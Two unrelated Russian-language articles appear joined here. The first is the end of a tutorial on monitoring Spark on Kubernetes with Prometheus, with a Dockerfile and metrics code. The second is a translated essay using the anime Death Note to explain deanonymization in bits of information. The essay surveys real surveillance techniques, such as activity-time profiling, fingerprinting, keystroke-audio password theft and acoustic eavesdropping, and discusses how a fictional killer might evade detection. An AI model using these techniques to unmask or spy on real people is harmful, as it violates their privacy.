wget https://repo1.maven.org/maven2/io/fabric8/kubernetes-client/4.4.2/kubernetes-client-4.4.2.jar -P /spark/spark-3.0.1-bin-hadoop3.2/jars/ && \
wget https://repo1.maven.org/maven2/io/fabric8/kubernetes-model/4.4.2/kubernetes-model-4.4.2.jar -P /spark/spark-3.0.1-bin-hadoop3.2/jars/ && \
echo "done with wget"
# Define working directory
WORKDIR /opt/input
# Project Definition layers change less often than application code
COPY app/build.sbt ./
WORKDIR /opt/input/project
# COPY project/*.scala ./
COPY app/project/build.properties ./
COPY app/project/*.sbt ./
WORKDIR /opt/input
RUN sbt reload
# Copy rest of application
COPY app ./
RUN sbt testCoverage
RUN SBT_OPTS="-Xms2048M -Xmx2048M -Xss1024M -XX:MaxMetaspaceSize=2048M" sbt 'set test in assembly := {}' clean assembly
FROM openjdk:8-alpine AS spark
# install python
ENV PYTHONUNBUFFERED=1
RUN apk add --update --no-cache python3 && ln -sf python3 /usr/bin/python
RUN python3 -m ensurepip
RUN pip3 install --no-cache --upgrade pip setuptools
ARG spark_home=/spark/spark-3.0.1-bin-hadoop3.2
RUN set -ex && \
apk upgrade --no-cache && \
apk add --no-cache bash tini libc6-compat gcompat linux-pam nss && \
mkdir -p /opt/spark && \
mkdir -p /opt/spark/work-dir && \
touch /opt/spark/RELEASE && \
rm /bin/sh && \
ln -sv /bin/bash /bin/sh && \
echo "auth required pam_wheel.so use_uid" >> /etc/pam.d/su && \
chgrp root /etc/passwd && chmod ug+rw /etc/passwd
COPY --from=build ${spark_home}/jars /opt/spark/jars
COPY --from=build ${spark_home}/bin /opt/spark/bin
COPY --from=build ${spark_home}/sbin /opt/spark/sbin
COPY --from=build ${spark_home}/kubernetes/dockerfiles/spark/entrypoint.sh /opt/
FROM spark AS final
ENV SPARK_HOME /opt/spark
RUN mkdir /opt/spark/conf
COPY scripts/entrypoint.sh /tmp/
COPY app/src/main/resources/log4j.properties /opt/spark/conf/
COPY app/src/main/resources/metrics.properties /opt/spark/conf/
COPY --from=build /opt/input/target/scala-2.12/legion-streaming-assembly-0.2.jar /opt/spark/jars
WORKDIR /opt/spark/work-dir
RUN wget https://archive.apache.org/dist/kafka/2.2.1/kafka_2.12-2.2.1.tgz
RUN tar -xzf kafka_2.12-2.2.1.tgz
RUN chmod +x /tmp/entrypoint.sh
ENTRYPOINT "/tmp/entrypoint.sh"
```
### Шаг 3: Пользовательские метрики
Для каждого приложения наступает момент, когда требуется получить от него какие-то специфические метрики: время выполнения определенных методов, ключевая статистика о внутреннем состоянии, проверка работоспособности приложения и т. д. Для этого должна быть возможность инструментирования приложения и передачи метрик в Prometheus. Это можно сделать с помощью java-библиотеки [Dropwizard Metrics](https://metrics.dropwizard.io/4.1.2/). Например, метрику можно реализовать следующим образом ([исходный код](https://gist.github.com/dimastatz/d970347cd15f24ab13b9a3b94d66c6df#file-legionmetrics-scala)):
```
package org.apache.spark.metrics.source
import com.codahale.metrics._
object LegionMetrics {
val metrics = new LegionMetrics
}
class LegionMetrics extends Source {
override val sourceName: String = "LegionCommonSource"
override val metricRegistry: MetricRegistry = new MetricRegistry
val runTime: Histogram = metricRegistry.histogram(MetricRegistry.name("legionCommonRuntime"))
val totalEvents: Counter = metricRegistry.counter(MetricRegistry.name("legionCommonTotalEventsCount"))
val totalErrors: Counter = metricRegistry.counter(MetricRegistry.name("legionCommonTotalErrorsCount"))
}
```
Теперь эту метрику можно вызвать из любой точки вашего кода и обновить счетчики (counter), гистограммы (histogram), шкалы (gauge) или таймеры (timer). Все метрики автоматически становятся доступны через HTTP.
```
LegionMetrics.metrics.totalEvents.inc(batch.count())
LegionMetrics.metrics.runTime.update(System.currentTimeMillis - start)
```
После развертывания Spark-приложения можно перейти к driver-поду в кластере K8s и убедиться, что доступны все Spark и пользовательские метрики. Например, с помощью curl.
Для Spark Streaming требуется дополнительная настройка: **spark.sql.streaming.metricsEnabled**.
Если для **spark.sql.streaming.metricsEnabled** задано значение **true**, вы увидите дополнительные метрики: latency, processing rate, state rows, event-time watermark и т.д.
### Шаг 4: Дашборды в Grafana
После развертывания Spark-приложения и настройки Prometheus можно переходить к созданию дашборда в Grafana. Создайте новый дашборд, выберите источник данных Prometheus и введите запрос.
Помните, что PrometheusServlet следует соглашениям об именовании Spark 2.x вместо принятого в Prometheus. Выберите любые метрики по своему усмотрению и поместите их на дашборд.
Вы также можете использовать Prometheus [Alertmanager](https://prometheus.io/docs/alerting/latest/alertmanager/) для определения алертов о важных метриках. Например, рекомендуется сделать алерты для следующих метрик: упавшие задания, долго выполняющиеся задачи, массовый shuffle, latency vs batch interval (streaming) и т. д.
Резюме
------
Если вы используете Apache Spark для обработки огромных массивов данных и беспокоитесь об экономической эффективности и переносимости, то вы, вероятно, рассматриваете Kubernetes или уже используете его. Apache Spark 3 делает еще один большой шаг в сторону K8s. Реализовать мониторинг и алертинг Apache Spark в K8s стало действительно просто благодаря встроенной поддержке Prometheus, и результат сопоставим с тем функционалом, который есть в управляемых сервисах, таких как AWS EMR.
---
> Материал подготовлен в рамках курса [«Мониторинг и логирование: Zabbix, Prometheus, ELK».](https://otus.pw/aFe9/)
>
> Всех желающих приглашаем на demo-занятие **«Системы логирования (ELK, EFK, Graylog2)»**. На уроке сравним различные системы логирования, присутствующих на рынке: ELK, EFK — fluentd, Graylog2. Регистрация [**здесь.**](https://otus.pw/JsmU/)
>
> | https://habr.com/ru/post/583240/ | null | ru | null |
# Death Note, анонимность и энтропия
В начале “Death Note” местный гениальный детектив по сути занят деанонимизацией: он знает только то, что убийца существует где-то на планете. Никаких улик тот не оставляет, но довольно быстро оказывается пойман. Вообще-то хабр не площадка для обсуждения аниме, но такая же охота на того-не-знаю-кого порой случается и в реальном мире — достаточно вспомнить Сатоши Накамото, Dread Pirate Roberts или [Q](https://en.wikipedia.org/wiki/QAnon#Identity_of_%22Q%22). Так что под катом перевод статьи (анонимного, кстати говоря, автора) о том, насколько происходящее в этом сериале связано с реальной анонимностью и что у его героя пошло не так.
**Для тех, кто не смотрел Death Note**
В руки обычного японского школьника Ягами Лайта попадает Тетрадь смерти. Если написать в ней настоящее имя и обстоятельства смерти любого живого человека — то он скончается именно тогда и так, как написано. Кроме того, пользователю необходимо знать жертву в лицо. Лайт решает, что он будет использовать тетрадь для истребления преступников, и становится чем-то вроде супергероя/суперзлодея под псевдонимом Кира (искаж. Killer).
Гениальный детектив под псевдонимом L достаточно быстро вычисляет Лайта, но долго не может доказать его вину или найти орудие преступления. Лайт, в свою очередь, лично знаком с L, но не знает его настоящего имени и поэтому не может его убить с помощью Тетради. После множества интриг Кира убивает L, но через некоторое время ученики последнего его находят и убивают.
Статья посвящена разбору того, как L устанавливает личность Киры. Так как детали расследования последовательно излагаются в тексте, здесь я их не привожу.
Прямое противостояние между Кирой и L начинается с прибытия команды детективов в Японию. В конечном итоге Кира оказывается слабейшим из двух игроков: хотя он и убивает L, тот уже знает, что Ягами Лайт и Кира — одно и то же лицо. Возможно, Лайт и мог бы выиграть, но у более талантливого Киры эта игра *вообще не состоялась бы*. Тетрадь убивает со стопроцентной эффективностью, не оставляет никаких следов и позволяет подстраивать сколь угодно сложные обстоятельства. По большому счёту, Death Note — это мысленный эксперимент на тему “как можно быть пойманным, имея безупречное орудие убийства”.
Другие пользователи Тетрадей смерти демонстрируют самый очевидный способ. Члены [Yotsuba Group](https://en.wikipedia.org/wiki/List_of_Death_Note_characters#Yotsuba_Group) не только истребляют преступников, но и убивают своих конкурентов. Это довольно быстро сужает круг подозреваемых со всего человечества до группы из 8 человек, но очевидное “qui prodest” — не самый интересный ход даже для рядового детектива. К тому же Лайт передал им Тетрадь как раз для того, чтобы они были в конце концов пойманы, так что перед нами не самые умные убийцы на планете. Кира не бросается сводить личные счёты, не ведёт блога со списком жертв и вообще не совершает (поначалу) ничего непроходимо тупого, но в конечном итоге всё же попадается. Как?
Расследование как задача оптимизации
------------------------------------
Когда у L нет вообще никакой информации, он вынужден подозревать всё человечество. Его работа как детектива состоит в том, чтобы выбрать из 7 миллиардов людей ровно одного, а это классическая задача поиска. В реальности список подозреваемых обычно меньше, но очень похожую задачу соответствующие органы решают, например, при [ловле деятелей даркнета](https://www.gwern.net/DNM-arrests). Так или иначе, L необходимо добыть примерно 33 бита информации (`log2(7e9) ≈ 32.7`). Много это или мало?
Не так уж и много. Адресация конкретного байта из 8 гигабайт оперативки, скажем, больших проблем не вызывает. Что касается человечества, L мог бы для начала поднять криминальную статистику и обнаружить, что подавляющее большинство серийных убийц и террористов — [мужчины.](https://en.wikipedia.org/wiki/List_of_rampage_killers) Кира ещё не совершил ни одной ошибки, а один бит у преследователей уже есть. Гипотетические [суперрациональные](https://en.wikipedia.org/wiki/Superrationality) Киры могли бы это предусмотреть и с некоторой вероятностью передавать свои тетради женщинам, чтобы восстановить нормальное соотношение полов. Скажем, если женщинам достаётся всего четверть тетрадей, то Киры-мужчины могли бы бросать кубик и передавать свою тетрадь женщине, если выпадет 1 или 2. *(прим. пер.: суперрациональная модель требует, чтобы Кир было много и они знали о существовании друг друга. Ни то, ни другое не относится к Лайту по состоянию на начало аниме.)*
Можно заметить, что даже в самом Death Note есть женщина с тетрадью — Миса Амане. Но она, во-первых, вообще довольно искусственный персонаж (потому что какое же аниме без анимешных девочек, а основной каст Death Note чисто мужской), а во-вторых — безумно влюблена в Лайта и действует в основном по его воле.
Надо сразу сказать, что *сколько-то* бит Лайт всё равно потеряет. Чтобы не отдавать вообще никакой информации, ему надо было запереть Тетрадь в шкаф и забыть про неё. Любое активное действие по определению наблюдаемо, хотя бы в теории. На практике — весь смысл деятельности Киры в том, чтобы сокращать жизни преступников. Невозможно их одновременно сокращать и *не* сокращать; даже безупречный Кира оставил бы след в статистике ФСИН и аналогичных организаций.
В похожей ситуации оказались союзники во Второй Мировой. Они взломали знаменитую Энигму и встали перед сложным выбором: с одной стороны, смысл всей затеи был в том, чтобы добывать информацию. Добывать, очевидно, не из чистой любви к криптоанализу, а для использования в войне. Но с другой стороны — если пользоваться полученными данными слишком часто, то немцы догадаются о взломе и изменят протокол шифрования. Союзники постоянно создавали иллюзию, что у них есть другие источники информации: к уже известным немецким подлодкам посылали разведывательные самолёты, а немецкой контрразведке сливали информацию о несуществующих шпионах (а вот история о том, что Черчилль позволил разбомбить Ковентри, лишь бы не засветить проект Ultra, [может быть и легендой](https://en.wikipedia.org/wiki/Coventry_Blitz#Coventry_and_Ultra)). Это сработало отчасти из-за самоуверенности нацистов, отчасти из-за хорошей организации подставных источников. Но самым важным элементом было то, что война относительно быстро закончилась. Время работало на Германию: в хаосе тотальной войны не очень много времени для статистики, но рано или поздно какой-нибудь аналитик Вермахта её собрал бы. Обнаружив, что британской авиации поразительно везёт, а в каждой дивизии сидит по десять неуловимых шпионов, он всё же пришёл бы к мысли, что такой хорошей разведки у англичан быть не может, а значит — Энигма скомпрометирована.
Конкретно Лайту эта стратегия не подходит — он убивает не ради убийства, а ради устрашения других преступников. Кира должен быть легендой, а не отклонением на пол-сигмы в частоте инфарктов у пожизненно осуждённых. Так что правила игры звучат следующим образом: одна сторона (L) должна извлечь как можно больше информации из происходящих убийств, а другая (Кира) должна не давать оппоненту этого сделать, но при этом не переставать действовать. Задача Киры и так внутренне противоречива, а Ягами Лайт к тому же делает за L половину его работы.
Ошибки Киры
-----------
### Ошибка 1: способ убийства
Все убитые Кирой преступники скончались от сердечного приступа. Постоянно используя одну и ту же причину смерти, Лайт сразу сообщает миру о своём существовании. Тысяча смертей от инфаркта, тем более в когорте, для которой инфаркты не очень характерны, бросается в глаза; тысяча смертей, размазанных по разным вероятным причинам (инфаркты, рак, случайные инциденты, тюремная поножовщина, убийства полицейскими и что там ещё обычно случается с преступниками) могла бы и пройти незамеченной. Как упоминалось выше, такой “скрытный Кира” был бы в принципе обнаружим, но точно не был бы замечен в первые же месяцы.
Итак, первая и самая фундаментальная ошибка: имея в своём распоряжении буквально *любые* причины смерти, Лайт фокусируется на сердечных приступах. Это не только сообщает всему миру (а значит, и L) о его существовании, это ещё и позволяет отделить убийства Киры от не связанных с ним смертей в той же когорте. Сразу становится понятно, что метод убийства сверхъестественно точен и не требует личного присутствия, но непригоден для преступников, о которых неизвестно широкой публике. Какие бы оправдания своим действиям он ни придумывал, Лайт в первой же паре серий подарил детективам массу информации о Тетради.
Разумеется, Ягами Лайт по сути персонаж греческой трагедии, и его губит прежде всего его собственная [гамартия](https://ru.wikipedia.org/wiki/%D0%93%D0%B0%D0%BC%D0%B0%D1%80%D1%82%D0%B8%D1%8F): беспредельная гордыня и стремление поиграть со всем человечеством в кошки-мышки. Требовать от него, чтобы он спокойно оптимизировал долгосрочный план действий — не умнее, чем советовать Ахиллу с Агамемноном поумерить понты, или рассказывать Клитемнестре, а затем Электре с Орестом, о прощении. Он *не может* работать скрытно и планомерно.
Даже для своей номинальной цели, то есть запугивания преступников, образ сверхъестественного мстителя может оказаться субоптимальным. Если Кира — это конкретный человек, то он очевидно не может знать обо всём, он не может не ошибаться, у него есть личные предпочтения. Можно предположить, например, что коррупционеры или торговцы ворованными данными не вызывают в нём той же ярости, что и педофилы. В конце концов, он смертен, и более того — внезапно смертен. У преступников всегда есть надежда, что эпоха Киры закончится вот буквально на днях и лично до них он добраться не успеет.
Эта ошибка фундаментальна, но *личность* Киры напрямую не выдаёт. 33 бита остаются за ним.
### Ошибка 2: расписание
Смерти преступников одинаковы не только по своим обстоятельствам, они ещё и происходят в определённое время дня. L строит распределение и приходит к выводу, что в это время мог бы убивать студент или служащий, живущий в часовом поясе Токио. Это сужает круг подозреваемых с 7 миллиардов человек до 128 миллионов японцев, или с 33 бит до 27 (`log2(1.28e8) ≈ 26.93`). Шесть бит только за привычку не убивать во время уроков!
*(прим. пер.: Кира мог бы быть жителем российской Восточной Сибири, одной из Корей или восточной Индонезии. Япония самая многочисленная страна в своём часовом поясе, но важность этой ошибки всё же завышена примерно на один бит)*
Самое неожиданное в этом шаге то, что он работает в реальном мире. Большинство зрителей просто решили, что авторам нужно было как-то обосновать приезд L в Японию, и они притянули улику за уши. В самом деле, пара пиков утром и вечером по японскому времени, и всё? В общем-то да. Я обнаружил тот же эффект за годы до того, как посмотрел Death Note. В то время я много редактировал англоязычную Википедию, и время от времени возникала необходимость узнать, не являются ли часом два участника одним и тем же лицом. Иногда мне было важно знать, откуда родом тот или иной википедист. Если на странице участника и в обсуждениях не было ничего полезного, я открывал [счётчик правок](https://en.wikipedia.org/wiki/Wikipedia%3AWikiProject_edit_counters) и смотрел, когда этот человек был активен. Суточный график имеет примерно следующий вид: ~4 часа без единой правки, затем 4 часа умеренной или высокой активности, резкий провал, 8 часов медленного подъёма, затем пик длиной около 4 часов и постепенное снижение до нуля. Читать это надо так: глубокой ночью (около 4 часов местного времени) спят практически все. С утра человек встаёт, проверяет новости и, возможно, вносит мелкие правки. Потом он идёт на работу, откуда изредка что-то постит (скорее всего после того, как закончит с делами — отсюда повышение к концу рабочего дня), возвращается домой и сидит за википедией весь вечер. После полуночи он почти наверняка идёт спать.
Разумеется, график не идеально ровный. Время от времени человек может засидеться до глубокой ночи, редактировать весь день или уехать в отпуск. Но установить часовой пояс удавалось всегда. Я ни разу не ошибался на пол-планеты, потому что объект работает в ночную смену. Корреляция между временем правок и географией IP подтверждена и [на больших выборках участников Википедии](https://arxiv.org/abs/1109.1746). В Twitter другие “циркадные ритмы”, но там они [тоже есть](https://bits.blogs.nytimes.com/2012/06/07/good-night-moon-good-night-little-bird/).
Исследования указывают на много других не менее странных способов деанонимизировать пользователя. Так как [всё коррелирует со всем](https://www.gwern.net/Everything), любой мелочи может быть достаточно для деанонимизации пользователя:
* Мелкие погрешности [в часах](https://www.gwern.net/docs/www/www.caida.org/6d9e5f8544089b539e0ff62f7a3c3277ac52aa36.html) компьютера (даже [через Tor](https://www.gwern.net/docs/www/www.cl.cam.ac.uk/55d9a715b112f4ae1d81b87b13bc50163647fa2c.pdf))
* [История браузера](https://www.gwern.net/docs/www/pdfs.semanticscholar.org/a261eed251c9964fa56e5034fc5b84ba49e8327f.pdf), а то и просто [версия и набор плагинов](https://www.gwern.net/docs/www/panopticlick.eff.org/9c280051130d52c3b1fbe835173aa7084715ba01.pdf). Это не считая случаев, когда баги [Firefox](https://web.archive.org/web/20100810201303/http://33bits.org:80/2010/06/01/yet-another-identity-stealing-bug-will-creeping-normalcy-be-the-result/), [Google Docs](https://web.archive.org/web/20100226190432/http://33bits.org:80/2010/02/22/google-docs-leaks-identity/) или [Facebook](https://web.archive.org/web/20101003031057/http://33bits.org:80/2010/09/28/instant-personalization-privacy-flaws) напрямую сливают личность пользователя.
* [Атаки по времени](https://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D0%BF%D0%BE_%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8), основанные на измерении времени загрузки. С их помощью можно даже [узнать имя пользователя и число приватных фото](https://crypto.stanford.edu/~dabo/pubs/papers/webtiming.pdf).
* 42% пользователей [XING](https://en.wikipedia.org/wiki/XING) были однозначно идентифицированы по набору групп, в которых они состоят. Тот же принцип может работать и в других соцсетях.
* Зная всего [несколько фильмов, которые пользователь посмотрел на Netflix](https://arxiv.org/abs/cs/0610105) (неважно, популярных или малоизвестных), можно найти все остальные данные его профиля. Эта атака работает только для профилей, вошедших в анонимизированный датасет [Netflix Prize](https://en.wikipedia.org/wiki/Netflix_Prize), но она позволяет идентифицировать человека по невероятно малому количеству информации. Никто и не подозревал, что ваши предпочтения в аниме могут вас выдать, даже если не смотреть экзотические тайтлы.
* Те же авторы использовали поиск изоморфизмов между произвольными графами, скажем, социальными сетями *безо всяких данных, кроме топологии графа друзей/групп* (конкретно для соцсетей [показано на паре Flickr/Twitter](https://web.archive.org/web/20110313170927/http://33bits.org:80/2011/03/09/link-prediction-by-de-anonymization-how-we-won-the-kaggle-social-network-challenge/)) для деанонимизации людей, вошедших в [публичные анонимизированные датасеты](https://web.archive.org/web/20090306144914/http://33bits.org:80/2008/11/12/57). Поиск изоморфизмов между произвольными графами звучит как NP-трудная задача и вполне может ей являться, но на практике современные алгоритмы с ней [неплохо справляются](https://web.archive.org/web/20090331052423/http://33bits.org:80/2008/11/20/graph-isomorphism-deceptively-hard).
* Про имена пользователей и их переиспользование [я вообще молчу](https://web.archive.org/web/20110221224022/http://33bits.org/2011/02/16/usernames-linkability-uber-profiles/).
* Кстати об анонимизированных данных, даты рождения, пола и места проживания вполне достаточно для [кросс-корреляции между предположительно анонимизированными наборами медицинских или судебных данных и публичными списками избирателей](https://www.gwern.net/docs/www/latanyasweeney.org/8ac513dd34bb2d424fb3a6e446d17bb3db230892.html). 97% зарегистрированных избирателей Кембриджа (Массачусетс) однозначно идентифицируются по дате и месту рождения *(прим. пер.: имеется в виду не город рождения, а ZIP code, почтовый индекс)*, а 29% — по дате рождения и полу.
* [Ритм использования клавиатуры](https://en.wikipedia.org/wiki/Keystroke_dynamics) пригоден для биометрии. Звук или видео печати не только идентифицируют человека, но и могут использоваться для [кражи паролей](https://arxiv.org/abs/1512.05616).
* Зная путь от дома до работы с точностью до квартала, [можно однозначно идентифицировать человека](https://www.gwern.net/docs/www/crypto.stanford.edu/2d6ec088ae3ce4eeb2a6461043e88cae365b1a9f.pdf); 5% людей идентифицируются даже по пути *с точностью до почтового индекса*.
* В опознании по почерку нет ничего нового; а как вам [опознание по тому, как человек заштриховывает поле в анкете](https://www.gwern.net/docs/www/static.usenix.org/91435c77f4ec041d58d9336a7e9f556f1e37fd85.pdf)? Точность не абсолютная, но в 51% случаев алгоритм угадывает человека, а в 75% называет его среди топ-3 кандидатов из примерно сотни.
* Кстати о письме, автоматическое определение автора по стилю текста — широко распространённая практика.
* Незаметный для человека шум в электрической проводке меняется со временем и позволяет [датировать аудиозаписи](https://www.bbc.com/news/science-environment-20629671). Подобные уникальные шумы могут использоваться для отслеживания людей или приборов, мониторинга активности в помещении и прочая и прочая.
* Каждый школьник знает про подслушивание с помощью [лазерных микрофонов](https://en.wikipedia.org/wiki/laser_microphones). А как насчёт подслушивания через [видеозапись пачки чипсов](https://www.gwern.net/docs/www/people.csail.mit.edu/de38795b348e3e7ae1a4db55250654181c357bc3.html) или [фантика от конфеты](https://www.gwern.net/docs/www/spectrum.ieee.org/62118984f0a8e510c378c9810186dcb813d2f0fb.html)? Как насчёт [подслушивания через гироскоп мобильника](https://www.gwern.net/docs/www/crypto.stanford.edu/1a9962db01fcbd87145779eb445b731335584961.pdf)? Как насчёт [использования жёсткого диска в качестве микрофона](https://www.gwern.net/docs/technology/2019-kwong.pdf)? С помощью лазера можно ещё и считать на растоянии сердечный ритм, а он [уникален](https://www.gwern.net/docs/www/www.technologyreview.com/d792cf2be54c6c2922885ed01e53e12a466757dd.html).
* Водителя можно опознать по стилю вождения, иногда даже [за единственный разворот](https://arxiv.org/abs/1708.04636).
* [Историю перемещений мобильного телефона](https://www.gwern.net/docs/statistics/2017-mosenia.pdf) можно отследить при отключенном GPS за счёт изменения часовых поясов, атмосферного давления, корреляции с публичными данными типа расписания поездов и прочих мелочей.
* Фотографии со смартфона позволяют [идентифицировать конкретное устройство](https://scholar.google.com/scholar?hl=en&as_sdt=0%2C21&q=identification+sensor+noise+anonymity+OR+forensics&btnG=) по мелким погрешностям сенсоров и линз. Фейсбук это даже [запатентовал](https://www.gwern.net/docs/www/patents.google.com/ad1bbbc992f81457e577a71d7397022eee67a316.html).
* Паттерн использования смартфона коррелирует с [болезнью Альцгеймера](https://www.nature.com/articles/s41746-019-0084-2) и [чертами личности](https://psyarxiv.com/ks4vd/).
* Голос коррелирует не только с возрастом и этнической принадлежностью, но и с [внешностью](https://arxiv.org/abs/1905.09773).
Коротко говоря, [дифференциальная приватность](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%84%D1%84%D0%B5%D1%80%D0%B5%D0%BD%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%BF%D1%80%D0%B8%D0%B2%D0%B0%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C) практически невозможна; почти любая активность выдаёт достаточно информации, чтобы опознать деятеля; и вообще приватность мертва. Можно утешать себя тем, что это палка о двух концах и утрата приватности позволяет гражданам следить за своей властью. На самом деле это не очень работает: например, уровень слежки за гражданами как рос до Wikileaks, так и растёт после него *(прим. пер.: в наших реалиях — много ли чиновников село после расследований Навального?)*. Но идея всё равно приятная. Впрочем, вернёмся к Death Note.
### Ошибка 3: провокация с Тейлором
Выяснив, что убийца находится в Японии, L начинает сужать круг поисков. Он заставляет приговорённого преступника Линда Л. Тейлора выступить на телевидении с заявлением, что он и есть L, и оскорблениями в адрес Киры. Передача транслируется только в [Канто](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%BD%D1%82%D0%BE_(%D1%80%D0%B5%D0%B3%D0%B8%D0%BE%D0%BD)) (регионе, в котором проживает около трети японцев). Убив Тейлора, Лайт даёт понять, что он её увидел, и тем самым выдаёт своё местоположение. Вообще-то в данном случае он поступает глупо: это очевидная провокация L, и одного этого должно быть достаточно, чтобы на неё не реагировать. Хотя Лайт и не знает, что L надеется получить от этого хода, последний наверняка имеет какой-то план и незачем ему следовать. Тем не менее, потери не особенно велики: круг подозреваемых уменьшился втрое, L получил ~1.6 бит информации. Киру всё ещё нужно найти среди 21.5 миллионов мужчин (половина 43-миллионного населения Канто), и у него остаётся `log2(2.15e7) ≈ 24.36` бит анонимности. К тому же эта информация устаревает: в любой момент убийца может уехать из Канто. Несложно проверить, был ли данный подозреваемый там-то и там-то тогда-то и тогда-то, но с течением времени становится всё тяжелее составить список людей, в нужное время присутствовавших в огромном столичном регионе.
L тоже действует не самым оптимальным образом: лучше было бы разделить Японию на две примерно равные половины и иметь матожидание полученной информации в один бит. При делении 2:1 операция приносит либо ~1.6 бит (если убийца в Канто), либо ~0.3 бит (если его там нет). Как бы то ни было, он рискнул и выиграл. К тому же провокация с Тейлором позволила выяснить, что для успешного убийства Кире достаточно лица и имени жертвы — L ещё не видел Тетради, но о том, как от неё защититься, он знает всё.
### Ошибка 4: конфиденциальная информация
Отец Ягами Лайта — полицейский, участвующий в поисках Киры. Не в силах устоять перед искушением, Лайт влезает в полицейские базы данных и убивает преступников, о которых не сообщалось в медиа. Ещё одна ошибка, которой можно было бы избежать: Лайт мог бы ограничиться только теми преступниками, о которых сообщалось в новостях. Они к тому же лучше всего подходят для его пропагандистских задач. Он мог бы использовать доступ отца только для немногочисленных приоритетных целей, хотя бы чтобы не дать полиции понять, что их базы скомпрометированы (и не лишиться доступа). Наконец, он мог бы использовать для получения информации магические возможности тетради (скажем, написав “Продажный прокурор Х кончает с собой, предварительно опубликовав список всех неосуждённых убийц Токио”) или репутацию Киры (создав что-то вроде Wikileaks).
Это крупнейшая ошибка из всех, совершённых Лайтом. Обычно в качестве таковой фанаты называют реакцию на провокацию с Тейлором или интригу с прокурором Миками, но если измерять ошибки убийцы количеством утраченной анонимности — катастрофа случилась именно сейчас. Теперь L знает, что Кира имеет доступ к полицейским данным, то есть он либо опер японской полиции, либо родственник опера. Таких всего несколько тысяч и круг подозреваемых сужается на три порядка: с 21.5 миллиона до, скажем, 10 000 человек, а анонимность уменьшается с 24 до 14 бит. Десять с лишним бит — это почти вдвое больше, чем вторая ошибка (отсекающая *буквально 98% человечества*) и в восемь раз больше, чем третья (обычно считающаяся самым красивым ходом L за всю игру).
### Ошибка 5: невеста Пенбара
После предыдущей ошибки L делит полицейских и их родственников на группы и распределяет их проверку между своими подчинёнными. Агенту ФБР Рею Пенбару среди прочих достаётся и Ягами Лайт; узнав об этом, Кира убивает самого Пенбара и его невесту. Самого полицейского он из игры, конечно, выводит, но даёт остальным понять, что Кира находится среди Пенбаровых подозреваемых.
Это совсем уж непроходимая глупость: если считать, что Пенбару досталось 200 человек из 10 000, то Кира безо всякой пользы для себя потратил шесть бит анонимности из остававшихся 14 — столько же, сколько ему стоила вторая ошибка. Мы не знаем точно, сколько подозреваемых было у Пенбара, но после его смерти L однозначно нужно меньше десятка бит.
### Эндшпиль
К этому моменту расследование практически завершено — L уверен, что Кирой является Ягами Лайт, и ему остаётся только собрать доказательства. Вероятно, последние 6-8 бит он добрал классическими детективными методами: среди подозреваемых Пенбара вряд ли было много высокомерных интеллектуалов без стопроцентного алиби хотя бы на какие-то из убийств. Оставшаяся часть аниме хороша как драма, но с точки зрения анонимности и теории информации уже неинтересна.
Анонимность — это сложно, или как быть Кирой и не сесть
-------------------------------------------------------
Как же следовало действовать Лайту? Ответ простой, но он не очень легко воплощается в жизнь. Он мог бы дезинформировать L вместо того, чтобы его информировать. [Теренс Тао](https://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%BE,_%D0%A2%D0%B5%D1%80%D0%B5%D0%BD%D1%81) пишет об [анонимности и дезинформации](https://www.gwern.net/docs/cs/2012-terencetao-anonymity.html):
> Ещё один способ увеличить анонимность — намеренная дезинформация. Допустим, актор раскрывает 100 независимых бит информации. Если все они истинны, то он теряет сто бит анонимности (предполагая, что априорные вероятности 0 и 1 для каждого бита равны друг другу) и, соответственно, сужает круг подозреваемых в 2^100 раз. Если, с другой стороны, 5 из 100 бит информации намеренно фальсифицированы, то существует (`100 choose 5`) ≈ 2^26 вариантов того, какие именно 5 бит ложны. По сути это возвращает 26 бит анонимности. На практике дезинформирующий актор получает даже больше анонимности, так как для поиска фальсифицированных бит атакующему необходимо решить вычислительно сложную [задачу выполнимости](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_%D0%B1%D1%83%D0%BB%D0%B5%D0%B2%D1%8B%D1%85_%D1%84%D0%BE%D1%80%D0%BC%D1%83%D0%BB). Впрочем, со временем прогресс SAT-решателей может свести этот бонус к нулю.
С утверждением, что Лайт должен был — или *мог* — использовать дезинформацию при выборе времени убийств, есть одна проблема. Советовать задним числом легко, но откуда ему было знать, что время убийств вообще может выдать его часовой пояс? Выше я упоминал, что использовал этот приём в Википедии, но на тот момент я был единственным, кто им пользовался (позднее его использовали в попытках установления личности Dread Pirate Roberts и Сатоши Накамото). Наверняка существуют и другие утечки анонимности, о которых я не имею ни малейшего представления. Если бы я был Кирой и помнил про свой трюк, но не озаботился равномерно распределить убийства по времени или создать обманный паттерн (указывающий, например, на Европу вместо Японии) — мне было бы некого винить, кроме самого себя. Но во время действия Death Note деанонимизация по времени активности ещё не была изобретена. Как мог Лайт защититься от атаки, о которой он ничего не знал?
Правильный ответ — рандомизация. Введение случайной переменной разрушает корреляцию между входными и выходными данными, и в Death Note оно было бы не менее полезно, чем в криптографии и экспериментальной науке реального мира. В обоих случаях рандомизация защищает не только от известных утечек информации или посторонних факторов (соответственно), но и от тех, о которых ничего неизвестно. Это дополнительная работа и дополнительные сложности, но в некоторых случаях они оправданы.
